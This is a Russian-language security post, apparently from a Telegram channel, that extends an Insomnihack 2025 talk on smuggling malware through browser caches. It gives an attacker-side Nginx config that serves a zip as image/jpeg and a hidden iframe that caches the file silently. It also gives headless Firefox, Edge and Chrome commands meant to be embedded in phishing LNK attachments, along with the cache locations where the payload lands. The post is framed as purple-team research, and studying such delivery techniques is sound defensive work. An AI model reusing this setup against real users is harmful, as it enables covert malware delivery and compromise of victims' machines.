1.2Kпросмотров
24 июля 2025 г.
🎬 ВидеоScore: 1.3K
#phishing #browser_cache
🔵 На конференции Insomnihack 2025 исследователь компании Orange Cyberdefense представил доклад, посвящённый способу доставки вредоносного ПО с использованием механизмов кэширования веб-браузеров (статья №1, статья №2). К данной работе хотелось бы добавить некоторое расширение, которое будет рассмотрено ниже. Но сначала кратко пройдёмся по основам. 🔵 Система кэширования веб-браузеров хранит следующие типы данных: 🔹HTML-файлы; 🔹CSS-файлы; 🔹JavaScript-файлы; 🔹медиафайлы; 🔹веб-шрифты. Однако возникает вопрос: «Как веб-браузеры определяют, какие файлы необходимо добавить в кэш?»
Здесь всё довольно просто — используется HTTP-заголовок Content-Type, который можно контролировать на стороне веб-сервера. 🔴 Настройка сервера атакующей стороны: Конфигурационный файл Nginx (/etc/nginx/sites-available/default):
...
location /i_am_not_malware.zip { add_header NOTMALWARE "purple_team_test"; types { } default_type image/jpeg;
}
... Главная страница веб-сайта (/var/www/html/index.html):
...
<iframe src="i_am_not_malware.zip" style="width:0;height:0;border:0;visibility:hidden;"></iframe>
... 🔴 Расширение.
В самом докладе рассматривается пример, при котором пользователю требуется перейти на фишинговый веб-сайт, чтобы файл сохранился в кэше. Однако описанный способ можно применить и в другом виде. Например, можно прописать в LNK-файле ("классическое" вложение в письме) команду перехода на сайт с помощью веб-браузера в headless-режиме (см. ниже). В данном случае файл также будет добавлен в кэш. Команда №1 (Mozilla Firefox; движок Quantum):
"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --url http://<IP_DOMAIN>/index.html
Примечания:
️⃣одновременная работа нескольких независимых процессов с одним профилем Firefox невозможна. Поэтому необходимо либо завершить текущий процесс firefox.exe, либо использовать отдельный профиль (создать) для нового процесса:
"C:\Program Files\Mozilla Firefox\firefox.exe" --createprofile sidekick
"C:\Program Files\Mozilla Firefox\firefox.exe" --P sidekick --headless --url http://<IP_DOMAIN>/index.html
️⃣Каталог расположения кэша: %LOCALAPPDATA%\Mozilla\Firefox\Profiles\.\cache2\entries. Команды №2 (Microsoft Edge, Google Chrome и т.п.; движок Chromium):
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu --disk-cache-size=1073741824 --dump-dom https://<IP_DOMAIN>/index.html
"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu --user-data-dir="%USERPROFILE%\AppData\Local\Chrome\purple" --disk-cache-size=1073741824 --dump-dom https://<IP_DOMAIN>/index.html
Примечания:
️⃣в headless-режиме Google Chrome необходимо указать отдельный каталог для хранения пользовательских данных (параметр --user-data-dir), иначе после завершения сессии кэш и другие данные будут удалены;
️⃣если файл достаточно большой, рекомендуется увеличить объём кэша на диске (параметр --disk-cache-size), например, до 100 Мбайт;
️⃣Каталог расположения кэша MSEdge (headless-режим): %LOCALAPPDATA%\Temp\HeadlessEdge\Default\Cache\Cache_Data.